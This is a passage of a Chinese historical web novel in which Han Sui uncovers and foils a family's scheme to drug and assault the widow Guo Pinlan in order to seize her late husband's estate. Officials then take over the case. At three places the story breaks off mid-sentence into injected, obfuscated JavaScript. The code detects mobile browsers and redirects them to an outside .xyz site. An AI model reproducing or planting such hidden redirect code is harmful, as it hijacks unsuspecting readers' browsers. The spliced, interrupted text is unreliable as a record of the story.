听完她这一番话,老妇明显松了口气,随即一副“懂你”的模样:“说的是呢,刘家也不想郭氏走,老夫人就这么一个儿子,如今突然没了,往后还指望郭氏尽孝呢。” 韩穗刚想顺着话头探问眼下品兰在何处,就瞥见从老妇身后的月洞门内跑来一个神情慌张的女子,不由分说地将她拉走。 那二人消失在月洞门后,韩穗立刻对通山低声道:“趁眼下无人,你赶快去后院,看看有没有关于品兰去向的线索,我怀疑那老妇很可能知晓内情,我尽量在此拖住她,兴许能从她嘴里套出些东西。” “可姑娘身边不能没人,万一有危险怎么办?” “放心,只要我不说是来要人的,就没有危险,等会儿郭叔父和官府的人一来,更不会有事。你动作快些,若发现任何异样,立刻回来找我。” 通山也知此法是目前最好选择了,不再耽搁,越过游廊,根据来前小桔的大概描述,往后院方向而去。 韩穗则悄悄挪动脚步,借一处太湖石隐在月洞门旁,刚好能隐约听到老妇与那女子的对话。 “……本来一切都按计划进行得好好的,老二都进去了,谁知道老二媳妇突然变卦,哭着闹着就是不让!”那女子气急败坏道。 “这千刀杀的,脑子被驴踢了么,这不是坏老娘的大事么!” “我们几个劝不住她,还差点把人闹来,娘还是赶紧去看看吧,咱们给郭氏喂的药就管一个时辰,等药效退了,可不好控制她了!” “那还不快走!” 两人的脚步声匆匆远去,韩穗站在太湖石后,一股凉意直达心底。 18. 品兰(三) 韩穗在月洞门后稍避片刻,估摸二人走出一段距离后,才悄悄步出,跟上前去。 那二人所去的方向似乎是个别院,一路上山石堆叠、曲径通幽,反倒方便了韩穗遮蔽身形。 待前头人行至一处偏僻楼阁停下时,她便就地藏在一处假山后,不远不近地观察起来。 此刻楼阁前共一男两女,再加那名老妇,皆着布衣,倒像是一家子。 四周寂悄,那几人说话声便清晰可闻。 “你这癞狗扶不上墙的种子!在家时说得好好的,现在又出幺蛾子,你是想拖累死全家么!”老妇直奔瘫坐在地上的一个蓬头女子,又拖又踹,后者只呜呜咽咽,不敢反抗。 旁边男人抱怨道:“娘,我本来都进屋准备把事儿办了,这婆娘突然反悔,又哭又闹地阻拦我,差点把那郭氏弄醒,还威胁要喊人来。” “喊人来?”老妇对地上女子冷笑道,“事情都做到这个地步了,你以为喊人来,你能落什么好?” 那女子突然凄厉喊道:“凭什么让我男人去,让我受这个委屈?大哥去不成吗,他又不是行不了那事!” “我说弟妹,你可要有良心,”另一名妇人上前一步急道,“娘这么安排是为了你们好,反正你嫁过来两年多肚子都没动静,若是老二给那郭氏种上咱们徐家的种儿,不光能留个后,日后生下来的娃还能继承刘家全部田产铺子、金银财宝,到时候刘家里里外外都咱们徐家说了算,你也能当上受人伺候的太太,再不用下田干活,你好好想想,今日这点儿委屈又算什么?” 地上女子闻言默不作声,徐老太见状给了二儿子一个眼色,后者会意,软了语气蹲下劝道:“我晓得你委屈,我也不愿跟那不认不识的女人睡觉,可眼下是为了大局着想,刘百盛无儿无女,他一死,那些姓刘的族亲有的是法子来瓜分财产,到时候姑母怎么办?姑母是觉得咱们一家人信得过,才出此对策,只要让郭氏有孕,那些姓刘的就没道理争,姑母就能保住家产,到时候你可是头功一个,什么金银首饰任你挑选,可成?” 成个屁! 假山后的韩穗将拳头攥得泛白,心中早已把这几人的祖宗问候了八百遍。 这起子刁民当真胆大包天、不知廉耻,居然想出这等霸占家产的下三滥法子,万幸他们自己起了内讧,否则品兰已惨遭毒手! 韩穗此刻突然后悔与通山兵分两路了,双拳难敌四手,眼下她孤身一人,该如何干掉那缺德的一家子才能救出品兰? 就在她拼命想法子的同时,那边徐家老二已摩拳擦掌,准备再进楼阁行事了。眼看形势不对,韩穗哪里还顾得上其他,只能先冲出去拦人再说,可不等她迈出脚去,从园子另一方向急匆匆跑来一人。 “娘,不好了,不好了!”那男子也是同样的三角眼,应是徐老太的大儿子,惊慌失色道,“前院来了好多人,说是刘家的族亲,打头的那个老头自称族长,要见姑母商量发丧的事,我爹拦不住他们,叫娘快去帮他!” “慌什么慌,我早知道他们得来,自有办法对付。”徐老太斥道。她叫住二儿子:“不差这一时半会儿了,反正带来的迷药还有剩,待会儿再喂她一次就是,你先跟我们一起去前院帮忙。”随即又对大儿媳道:“你留下看住郭氏,再好好劝劝老二家的。” 徐老太带着两个儿子走后,这一方角落又重回僻静。 大儿媳不辱使命,挑了处台阶坐下,继续劝道:“弟妹啊,你得眼光放长远,不过是把男人借出去用一用,等郭氏生下孩子,让姑母把她发卖了就是,保证不碍你眼。只要你对此事守口如瓶,姑母就得记你的好,到时候金银珠宝任你取用,往后咱们就是穿金戴银的夫人太太!” 被劝者一声不吭,劝人者便被这股犟劲儿气上了头,刚想骂人,却被一道清冷女声抢了先。 “两位姐姐若想要珠宝首饰,不用日后,眼下我就能满足你们。” 徐家大儿媳循声抬头,只见一位容貌清丽如仙娥般的女子拾阶而上,再仔细一看,还有些眼熟。“你……你是方才在前院跟婆母说话的那个人?”她狐疑地往对方身后看了眼,问道:“你来这儿干什么,你是谁?” 韩穗施礼笑道:“我是刘百盛夫人郭氏的娘家嫂嫂。” “郭家的人?”徐家两个儿媳一听,立即起身,神色警惕。 “若我没猜错,”韩穗瞥了眼楼阁门扇上的锁链,幽幽道,“我那可怜的小姑子此刻就被关在你们身后这座楼内吧。” “这位妹妹在说什么呢,我们可听不懂……” 韩穗不欲与她们废话,直接道:“咱们也别绕圈子了,实话说吧,我今日虽为郭氏而来,但她的死活我一点都不关心,我所关心的,刚好与你们一样——金银首饰。” “方才你们在这儿的交谈我可听了个一清二楚,你婆母的法子听起来极妙,但也有很大的变数,郭氏有孕只能暂且保住刘家财产,可万一她将来生下的不是儿子,那万贯家财最终还得叫刘姓族人瓜分了去。就算生下了儿子,到时候管家之权也轮不到你们妯娌,想要金银首饰,还得看婆母愿意从手指缝里漏出多少。” 见妯娌二人蹙眉深思,韩穗便知晓她们是听进去了,赶紧抛出诱饵:“我的意思是说,往后的事谁也说不准,但眼下趁刘家乱着,不如咱们一起合作一把,能捞多少算多少。” “怎么合作?”大儿媳率先上钩。 “我们郭家从前也是殷实的商贾之家,郭氏的嫁妆里有满满两抬金银珠宝,反正她人已经被你们绑了,不如趁机问出那两抬首饰的下落,咱们仨找到后私底下一分,只要藏好了,你不说我不说,谁也不知道。” 徐家大儿媳还不算太傻,不放心道:“可若是咱们当面问那郭氏嫁妆的下落,她日后发现自己首饰少了,必定得怀疑到你我身上啊。” “不必担心,”韩穗指了指门扇上的大锁,“你们只需把门打开,由我进去问。我那小姑子从一开始就不愿嫁过来,现在丈夫死了,定然一心想着回郭家,我便假装是来接她的,她绝对会告诉我嫁妆的位置,好叫人一块运回家。至于日后她发现东西少了,就说出丧当日乱糟糟的,不知被什么人偷走了,她还能上哪里查去。” 徐家妯娌一听动了心,当下便掏出钥匙,将锁链打开,叫韩穗动作快些。 “吱呀”一声门扇分开,韩穗步入楼阁,霎时感觉冷意渗骨,空气中弥漫着尘土与霉味。待她适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩穗迅速从发髻上拔下一根银簪,攥在手中,藏于身后。她回身望着那黑洞洞楼梯口,一步,两步。 来人一跃而出。 “通山?”韩穗又惊又喜。 通山也很意外:“姑娘怎会在此?” “你又是如何找到这个地方的?” “不对,”韩穗很快回过神来,“现在不是聊天的时候,我已经找到品兰了,赶紧想法子带她离开这个鬼地方。” “好说,”通山背起品兰,“底下守门的那俩人已经被我制住,走就是。” 三人下楼,步出楼阁大门,果然不见徐家妯娌,韩穗方想问那二人去向,下一刻便发现不远处她俩已被绑在一棵树干上,皆耷拉着脑袋,似乎晕死过去。 “……她们这是怎么了?”韩穗问道。 通山答道:“哦,被我用麻沸散浸过的帕子捂住口鼻,晕了。” 韩穗瞪大眼睛:“你如何会有这种东西?” 通山一侧身,将一个斜挎包露给韩穗,道:“姑娘看了这挎包里头的东西,就知道怎么回事了。” 19. 品兰(四) 刘百盛未发达前,与其母相依为命,不过是族中最不受待见的旁支,成为云州首富后,那些八竿子打不着的叔伯侄甥们才上赶着攀亲戚。 刘百盛生前他们就想方设法分羹,更不用说他突然死了,一个个摩拳擦掌,撺掇了族长,一刻也不停地赶来刘家。 此刻几人稳坐在刘家前院偏厅内,看着对面徐老太等人,表情中颇有被鸠占了鹊巢的敌意。 刘老太则坐于中间上首,头贴膏药,病歪歪地倚在案几上,一言不发。 “婶娘请节哀,”一个刘姓后生起身道,“我大哥去得突然,想来家中正是需要人手的时候,侄子特赶来帮忙操持丧事,还望婶娘莫嫌侄子来晚了!” 刘老太并不发话,斜看了眼徐老太,后者当即起身,皮笑肉不笑道:“贤侄有这份心就够了,不过说来也巧,近几日我们一家一直在府中陪你婶娘小住,都是亲戚家人,遇到此事怎能不管,恰好我在村里曾操办过几次白事,所以眼下发丧的事都安排好了,并不缺人手……” “笑话!”刘家族长突然斥道,“刘百盛姓刘,我们刘家又不是没人了,他的丧事何需你一个外姓人操办?” 他对刘老太道:“百盛娘可别悲伤糊涂了,百盛操劳一生,没有留下一儿半女,当务之急是赶紧立嗣,以防偌大家产落入一些居心叵测的外姓人手中。今日随我来的几个都是族中子侄,家中皆有幼子,你可从中挑选一个过继到郭氏名下,来日也好有个给百盛摔盆主丧的。” 徐老太听此银牙一咬,手帕一攥,豁出去了:“谁说刘百盛没有子嗣的,他明媒正娶的夫人郭氏已有身孕,我看居心叵测的人是你们才对!” 此言一出,满堂震惊。 这厢众人还没回过神来,厅堂两扇大门就被“哐”地推开,紧接着有一团东西被人从外头扔掷进来。 众人定睛一看,只见地上多了一个布包,不明所以之时,紧接着从门外进来两名女子。其中一位清冷秀致、气度凛然,臂怀中圈扶着另一位面色惨白、步履不稳的虚弱女子。 “徐老太,你说郭氏已有身孕,可有大夫验证?”韩穗一进门便毫不客气地开口质问。 被问者眼神躲闪,嘴巴却一张一合,还想强词夺理。 “省省你那些编瞎话的力气吧,”韩穗冷笑道,“接下来的事,恐怕你有九条舌头也不够狡辩。” 她转身对另一侧的刘姓族人道:“今日诸位刘家叔伯既在此,不妨做个见证,也好看清楚刘老夫人这位娘家弟妹的险恶嘴脸!通山,把这布包里的东西拿出来给大家看看。” “是。”通山上前拾起布包,取出一个油纸包、一条湿帕巾,以及几张类似票据的东西,一并交给那位刘家族长。 韩穗将品兰扶至旁边空椅上落座,随后一一介绍起来:“这些东西皆是在府上徐家人住处找到的,纸包里的药粉是江湖人用的‘软筋散’,湿帕子上浸的药液是致人不省人事的麻沸散,那几张纸则是将刘百盛八位小妾发卖春花楼的字据,舅太太,你打得好一手狠毒算盘!” 徐老太见物登时变脸,韩穗岂能给她辩白的机会:“把小妾卖给青楼,还能算你会做生意,可你用迷药控制刘百盛的发妻,试图教唆自己的儿子强|暴郭氏、致其有孕,再假称刘家子嗣,以蒙蔽刘姓族人,如此卑鄙行径,目的只为让徐家独占刘百盛的家产,是也不是!” 控诉掷地有声,句句骇人听闻。 徐老太一家终归是乡下人,应对这些互相攀咬的大场面还是经验不足了些,再加上心怀鬼胎,被人拆穿后语无伦次、败迹已现。 韩穗又去看那位刘家族长。 后者手拿物证虽有些傻眼,但瞧见韩穗的目光暗示后,很快便回过神来,转面对刘老太质问:“百盛娘,你弟弟一家做的这些勾当,可是你的意思?” 刘老太眼珠一转,当即掩面哭号,从太师椅上滑坐到地上:“哎呀我的儿啊,你死得好惨啊,留下为娘可怎么活啊,一个个找上门来欺负我啊,都想霸占你辛辛苦苦攒下的家业啊.....” “你儿的家业到底谁来继承我不关心,”韩穗漠声道,“但今日若不是我早来一步,恐怕郭氏就要惨遭你们欺辱算计!此事不管是开宗祠,还是去见官,都是你们刘家对死者发妻不义在先,于情于理,郭氏都不能再在刘家待下去,若是在坐的几位长辈还有是非之分、良善之心,恳请准允郭氏离门,还其自由身,往后与刘家再无半点关系!” 话毕,刘姓族人面面相觑,事情的进展早已远超他们的预期,一时竟不知该如何应对。徐家人则一听“见官”二字就吓得面如死灰,徐老太更是颤声求道:“家丑不可外扬,不能见官,不能见官呐!” 刘老太倒是突然清醒了,扶着桌案麻溜起身,眯起暗藏精光的细眼,手指着韩穗道:“郭氏的亲爹还没上门要闺女呢,你是哪儿来的野丫头?” 糟糕,韩穗心里暗暗着急,这老太婆居然问到点子上了。 今日她这一闹,是吃准了徐家人理亏、又见识少,就算只有物证没有人证,只说见官就能震慑住他们,而刘姓族人为了吃绝户,巴不得将刘百盛的遗孀扫地出门。 然而大胤女子丧夫后若要离门,需有娘家人在相关文书上签字画押方能生效。她虽能谎称自已是郭家人,但白纸黑字落到文书上却作不得数。接下来的事,还得由品兰的父亲出面操办才妥。 可时间都已过去一个多时辰,小桔和先秀怎么还没把那两位老父亲带来? 眼下别无他法,只能先用一个“拖”字了。 “我是谁并不重要......”韩穗刚想开口继续忽悠,谁知那刘老太根本不听这些哩个儿楞,突然躬起身背用头狠狠撞向自己! 韩穗逃躲不迭,侧腰吃痛,差点一个趔趄摔出去。她捂腰站稳脚的功夫,那老虔婆已喊进来两个膀大腰圆的仆妇,再加上徐老太,几个悍妇死命将她推扯到门外去。 “来人啊,把这个野丫头给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩穗冷笑,这种野路子她虽鲜少遇到,但也不是没法儿治。她从头上利落拔下银簪,拨开七手八脚围上来的刘家仆从婢女:“你们家老夫人这是急火攻心,不过万幸,我有法子治。” 说着,她亮出尖利的银簪,高高举起,瞄准刘老太的长人中就要猛刺下去。 只是握簪的手下行至半路,她的手腕就被人猛然握住。 先前那道男声再次响起∶“既是刘家的家事,只要不出人命、不违律法,无论是本官还是旁人,确实不该随意插手。” 韩穗不可置信地转面看向说话者,只见方湛正定定地瞧着她,嘴角甚至隐有笑意。这次,她不再客气:“松手。” 手上的钳制一撤,韩穗当即起身。 谁知方湛收手后又上前紧逼一步,居高临下道:“韩姑娘,你身为州府通判之女,自是懂得律法家规,贸然插手别人的家事,不太符合规矩吧?” 20. 品兰(五) “天寒地冻,韩姑娘不若带着你的婢女,先回家去?” 方湛轻飘飘几句,竟叫韩穗一时语结。 她当即用目光在人群中梭寻到先秀,又用眼神质问:“这就是你去府衙找来的救兵?怎么赶起我来了?” 先秀亦用茫然的两只圆眼答复:“不晓得啊,什么情况?” 许是看出韩穗此刻的无措,徐醇风从一旁及时站出解围,对方湛躬身请示:“大人,是否先传唤刘家所有人员至前院听候?” 方湛这才从韩穗脸上收回那半是戏谑半是审视的目光,沉声道:“传!” 一盏茶的功夫后,以还在装晕的刘老太为首,刘家族人、管家仆从,外加徐家四口,皆整整齐齐跪在院中听候,就连身上药性还未散尽的品兰,都在衙差的要求下,被小桔搀扶着走至屋外。 韩穗向一名衙差索要圈椅:“你们州府犯人出逃那夜,连累我受了腿伤,本小姐现在久站不得。” 那衙差忙去方湛跟前请示,后者遥遥望了她一眼,很快,椅子如愿而至。 韩穗扶品兰坐好,趁机低声询问先秀:“父亲呢,怎么是姓方的来了?” “老爷今日随知府大人去叶阳县走访了,我着急姑娘这边没个支援,正好遇见御史大人,他逼问得紧,我就、就……” “你就把我来刘家要做什么都如实交代了?” “嗯……” 怪不得姓方的刚才一来就说出那堆叫她不要插手别人家事的屁话! 韩穗恨铁不成钢,又问另一个空手而来的:“你也没找到郭叔父?” 小桔点头:“守门的伙计说,掌柜昨日刚进山冬猎去了,说是想打件鹿皮回来给姑娘制衣。” 这俩老头真是靠不住! 三人正嘀咕着,立于堂前的徐醇风开始朝众人发话:“今日已时,有人至府衙报官,称刘家老夫人接回儿子尸体后,在街上四处喧嚷,说刘百盛并非醉倒在雪地被冻死,实则为人所暗害。” 他顿了顿,看着阶下紧闭双眼、躺在家人怀里的刘老太,硬着头皮发问:“刘老太,你可承认此事?” 刘老太自然纹丝不动。徐醇风尴尬地咳一声,转向众人,更加用力道:“巧了!近日京城御史方大人受皇命巡至本州府,方大人向来明断是非,既遇民有冤情,自然不能置之不理,今日尔等有冤有疑的,尽管诉上来!” 话音方落,底下刘老太一下子“诈尸”支棱起来,推开旁人,放开嗓子哭嚎:“青天大老爷啊,你们可算来了,一定要为我这个孤苦老婆子做主啊,我儿好端端的怎会睡在雪地里冻死,一定是被人害死的!” 徐醇风问:“那你可知是何人所害?” 刘老太止哭,脸上瞬间涌上恨意,抬身道:“一定是那个赵二干的!他跟我刘家有仇,前几日还带着人四处找我儿,扬言要我母子俩死!” 赵二刚从州狱中出去就扬言要刘百盛偿命,此事徐醇风是知道的,但赵二械斗那日不巧遇上入城的边军,直接被押下,眼下还蹲在大牢里,如何害死狱外的刘百盛? 徐醇风有些为难,转面去看方湛,后者脸上却毫无波澜。他只得移步凑近,低声道:“大人也知,赵二此刻仍在狱中,不可能杀人,这刁妇八成是接受不了儿子的死,伤心欲绝以致得了臆症,胡乱攀咬罢了,下官认为无需浪费时间,走走过场便是。” 方湛却恍若未闻,步下阶,对刘老太道:“老人家,你既怀疑有人加害,本官便不会坐视不管,定为你做主,查出凶手。” 说罢,他抬手示意裘明:“让仵作验尸,即刻封锁刘宅,闲杂人不得随意进出,将刘家一干人押至府衙听问,再着人去狱中准备提审赵二。” “这……大人……”徐醇风还想张口说什么,余光中一道影子嗖地从他身侧蹿了过去,随即身后灵堂传来“哎呦”一声痛叫。 众人循声看过去,发出痛叫的正是那准备验尸的仵作。 原是那刘老太反应过来验尸是何意,当下后悔了,冲进灵堂将仵作推翻在地,把他匣中的工具扬得满地都是,只身护在停尸架前,不让任何人靠近。 几名官差试图将她拉开,谁知这老太太直接扒住停尸架不松手,谁靠近就冲谁吐唾沫,竟让五大三粗的官差不知从何下手。 方湛皱眉,命刘家人上前想办法把她拉开,奈何刘老太力大如牛,且什么劝说也听不进去,一味地哭喊,甚至叫护院驱赶官差,大叫着“不报官了、不报官了”。 堂上正闹得一塌糊涂,突然一个冷冷女声响起:“两位大人,民女认为,死者为大,还是应该尽快让死者入土为安,况且刘老夫人白发人送黑发人,着实可怜,就莫要为难她了。” 韩穗说话清晰有力,刘老太一听这话于自己有利,哭声立马弱下来。 方湛回身,神色喜怒不辨,问道:“那依你之见,本官该当如何?” “御史大人方来云州有所不知,那赵二与刘家素有龃龉,刘老太应是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828709|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气不过自己儿子福薄命短,这才胡乱攀咬。如此空口无凭就要官府立案,凭白折腾一众官差不说,更是糟蹋了大人一片为民的苦心。既然苦主本人都说不再报官,不如叫这老妇当众声明刘百盛之死与赵二无关,直接将人下葬,岂不清静?” 韩穗虽是答方湛的话,目光却一直追随堂上刘老太的反应。方湛见此心下会意,配合道:“嗯,韩姑娘言之有理,此法可。” “我儿才不是福薄命短!”刘老太果然暴起,“你个害人精,居然想让我儿死得不明不白!”她冲下台阶,直扑韩穗而去,却被反应更快的方湛阻挡在前。 韩穗从方湛宽阔的臂膀后露出脑袋,趁热打铁:“你不想叫儿子死不瞑目,就得先允许仵作验尸,否则怎么找到你儿被人所害的证据?你现在撒泼阻挠,不正是帮了你的仇敌赵二逃脱罪责么?” 刘老太闻言一下子瘫坐在地,一味地闷哭,没说行,也没说不行。 方湛皱眉,朝旁侧衙差摆手。后者上前将刘老太拖走,堂上仵作得以如常验尸。 韩穗叹了口气,又重新退回到品兰身边,一边帮她捂热双手,一边静待验尸结果。 一炷香的功夫后,只见那仵作手托一块布巾,匆匆至方湛跟前,不知说了些什么。方湛听后毫不犹豫,立刻朝裘明做了个手势。 紧接着,裘明一声令下,分散在院中把守的衙差便一拥而上,厉声催促刘家众人起身,似是要押解他们前去府衙。 不远处,两名差役亦朝韩穗几人而来。品兰见状轻拽韩穗衣角,示意其俯首,随后贴耳说了几句话。 韩穗听后有些许迷惑,正欲细问,那两名差役已闪现跟前,对她抱拳道:“得罪了,韩小姐。” 眼看他们要将人架走,韩穗好言求道:“我这妹子身体虚弱至极,走不了那么远的路,不过是给两位官差大哥凭添麻烦,不如你们带她乘坐我韩家的马车回衙门,既省你们的力,也好叫她少遭些罪。” 差役面露难色,就在韩穗准备偷偷掏银子使贿时,二人往她身后看了一眼,突然就痛快答应了。 她来不及思考原委,赶紧叫通山带路去找马车,又对先秀和小桔道:“走,咱们也一块跟去。” “一辆马车而已,你还想装多少人?”青年四平八稳的声音从她身后传来。 韩穗止步,忍不住偷偷翻了个白眼,只当他又要刁难自己。然而下一刻,方湛却迈步越至她身前,头也不回,淡淡道:“跟我来。” 21. 冤家路窄(一) 已是日暮西沉之时,斜阳余辉铺陈在鳞次栉比的屋顶上,一直朝天边延去,似无尽头。 呼啸了一整日的朔风也终于停歇下来,路边蟠虬秃枝在朦胧昏色中静候着黑夜的降临。 韩穗倚在车窗边,望着远处逐渐昏暗不清的景物出神,毫不在意被马车带起的冷风汩汩灌入。 啪!面前半开的车窗突然被一只骨节分明的手合上,韩穗冷不丁被吓一跳,抬目看向坐在斜对面的方湛。 方湛却不看她,薄唇轻启:“你不嫌冷,我还嫌冷。” 韩穗撇嘴,心中后悔。 方才她真是中昏招了,怎么稀里糊涂就上了他的马车! 都怪姓方的官大一级压死人,先是命令押解品兰的差役驱走韩家马车,在她毫无选择的情况下,又以关照同僚家眷的名义,请她上车搭载一程。 眼看与父亲交好、堪当自己半个长辈的徐醇风,目不斜视地从旁走过,又哧溜钻进他那顶小轿辇中,韩穗彻底孤立无援,只好硬着头皮登上马车。 上天好像故意在开玩笑,她日夜祈求不要再相见的,眼下偏就近在咫尺地坐在跟前。 车窗一关,本就不算宽敞的车厢更显逼仄,而方湛人高腿长,坐姿又颇为自在舒展,小腿几乎要触到她的膝盖,直叫韩穗缩在角落里甚是局促。 更糟糕的是,随着车厢晃动,她似乎又闻到了那缕独属于一人一回忆的松杉冷香。 韩穗顿时气闷,如坐针毡,只想拍车叫停,干脆去冷风中步行。然而不及她行动,车内另一人突然开口。 “你腿上的伤,如何了?”方湛垂目敛袖,闲闲一问。 “啊?”韩穗没料到他会问这么一句,呆愣看了他片刻,才答道:“快、快好了,谢大人关心。” 答完话她才想起,自己受伤还不是因他手下沈参领的疏忽所致,可谓间接拜他所赐! 然而青年对她如何受伤的事只字不提,他抬眸,直直迎上她的目光,一字一句道:“快好了?那就是还没好。既知自己有伤,就更不该四处乱跑。” 首先,韩穗不得不承认,眼前人的嗓音确实低醇好听,没得挑。其次,她怎么从这番话中听出些旧相识才该有的熟稔来? 一瞬间,脑中警铃大作。 难道说,从一开始他把她困在这马车之中,目的就是想与自己相认叙旧? 大可不必。 三年前的那段春三月,无论是有真心亦或全部假意,往事俱成往事,以他二人如今的境遇差别,再提过去属实不礼貌了。 于是她极尽疏离客气,不给对方一丝试探越界的机会。 “谢大人提示,民女记下了。” 话落,车内似有一声轻笑。 那笑轻如鸿毛,转瞬即逝,以至于韩穗以为自己出现了幻听。 “方才在刘家大杀四方时,可不见你如此端方拘礼。”青年幽幽道。 韩穗怎会听不出其中的揶揄之意,原不想理睬他,但终是嘴上不愿吃亏的性子作祟,没忍住,冷冷回怼:“大人说笑了,郭品兰与我情同手足,手足有难,我必救之。今日我去刘家就是为品兰撑腰的,既是撑腰,自然要拿出气势。” “只是民女比不得大人,大人一声令下,众人呼应,何等凛凛威风,而民女手无寸铁,为了保护至亲不受欺辱,只能以身涉险、据理力争,至于品相嘛,难免不堪入大人之目。” 这一通话说得夹枪带棒,方湛却似浑然不觉,甚至赞许道:“韩姑娘果然重情。” 韩穗发誓她绝不是多心,那“重情”二字从他口中缓缓吐出,分明有股子浓重的讽刺之意,仿佛下一刻就要翻出当年她背信弃义、另择高枝的旧账了! 内心突突直跳,但她面色仍旧淡定地应对道:“大人谬赞,‘重情’二字不敢当,只是滴水之恩当以涌泉相报,更何况品兰阿姊曾于我有救命之恩。” “好一个‘滴水之恩当以涌泉相报’。”方湛点头道,突然话锋一转,转面问起韩穗:“今日本官在刘家也算是替你解了围,不知韩姑娘对我又当如何回报?” 回报? 此人脸皮也太厚了些! 今日他一到刘家就阴阳自己多管闲事,试图将她赶走,随后更是一声令下,刚死里逃生、没了半条命的品兰就被押去了府牢! 这也算解围? 她还没找到他算账呢,他倒是先邀起功来了。 然而这些话只能藏在心底,此刻面对方湛,她是敢怒不敢言。 昔日他二人确是同窗,可如今地位悬殊,且不说父亲还在他的督监之下做官,只眼前品兰被传府过问一事,她就得顺着他、仰仗他,绝不能得罪狠了。 韩穗无声一笑,她的脸皮也不是薄的。 “大恩不言谢,但求大人送佛送到西,帮人帮到底!”韩穗语气盈满卑恳之情,“民女不敢有瞒,今日这一番奔走,目的只为品兰与刘家脱离关系,重获自由身。既然刘家人都已被拘入狱,还请大人查明刘老太与其弟弟一家试图暗害欺辱品兰一事,为她做主!” 为了品兰,别说做小伏低、拍马屁,要不是这马车空间有限,她能对着眼前这位前男友直接下跪。 只是丑话得说在前头。 “至于言谢回报,想来大人已是人中龙凤、位高权重,什么也不缺,而小女身无长物......” 韩穗还在埋头苦想“无以为报”的说辞,赫然眼前出现一枚眼熟的玉佩,后头的话便硬生生干咽了回去。 玉佩通体白润,却不是什么上好的料子,只那透雕双鱼洄游的做工精湛难得,正是她三年前在紫金山一得书院过生辰时收到的礼物。 若是翻转玉佩,那背面还浅浅刻着一个“粲”字。刻字者即送玉人,不是旁人,就在眼前。 她下意识抬手拿玉,玉佩却被对面人倏地收了回去。 她抬眼,对上一双幽深睛眸。“怎么会......” 明明那日她把玉佩解下来赔给了冼牧川,还想着待日后凑够赔银,再把它赎回来的,怎么会跑到他那里! 天光晦暗,马车行缓。 方湛手持玉佩,冷冷看着面前女子,似是看穿了她心中的慌乱:“你可是想问这玉佩为何会在我手上?韩、阿、粲。” 最后三个字如同雷鸣前的电闪,韩穗瞬间觉得无处可逃,只能揪起心闭上眼,认命地等着那声响雷轰劈下来。 然而预想的雷霆未至,只听方湛淡漠道:“这玉佩于你而言既能随手送人,想来已是无用之物,不如就拿它当做谢礼,归我了。” “哎……” 反对的话还未说出,就觉马车忽然停下,随即车外传来差役禀报:“大人,韩大人的宅邸到了。” “知道了,”方湛对外沉声道,“去拍门,叫人出来,接他们的大小姐回家。” 韩穗顾不上玉佩的事,连忙推窗去看,果然马车正停在自家门前,她回头急道:“喂,你怎么把我送回家了?我与你同路,也要去府衙啊,我不在,品兰会被欺负的!” “怎么,信不过我?”方湛掂了掂手中玉佩,“礼都收了,你要保的人,本官自然会多加照拂。” 可他说话的语气在韩穗听来,与其说是安抚承诺,倒更像暗戳戳的威胁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828710|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是......我……”韩穗有口难辩。 方湛将玉佩贴身收好,冷肃道:“刘百盛之死牵扯极深,倘若郭氏当真与此事无关,三日后,我必会按照你的要求放人。” “至于你,”青年顺手推开车门,“奉劝一句,莫要插手刘家事,乖乖回家,做好你的白家少奶奶。” —— 夜色入深之时,韩家的马车才从州府归家。 先秀回到家中时,韩穗正披衣在灯下焦躁不安地来回踱步。一见她进来,如见救星,急忙问起品兰被押送府衙的情形。 “姑娘放心,品兰姑娘没有被押入牢狱,方大人特意寻了间干净屋子给她,门口有衙差看守,身边有小桔照顾,比在刘家安全多了。方大人还遣了大夫去给她看诊呢,我走时品兰姑娘刚服了药睡下。” “那就好。”韩穗瞬时松一口气,那姓方的倒是没有因她而为难品兰,想来明日过堂受审之后,品兰就能回家了。 “父亲呢,他未跟你一同回来?”她又问。 先秀摇头:“我在府衙见到老爷了,老爷说刘百盛是被人毒死的,方大人急着破案找凶手,命令州府所有老爷今夜都不准回家。” “连夜办案?”韩穗惊异道,“他是年轻力壮,精力旺盛,可州府几位大人,一半都是花白胡子老头了,能受得住他如此折腾么?” “父亲也真是的,他早就不是这府衙班子里的人了,为何不直接寻个由头走人,如此勤勉认真,除了劳苦自己,还能有何好处?” 先秀瞧着在灯下挨个人批点的韩穗,怎么觉得她今日怒气过大了些? “还有你,先秀,”韩穗突然火力一转,“今日叫你去府衙搬救兵,你怎么把姓方的那尊大佛给搬来了?” 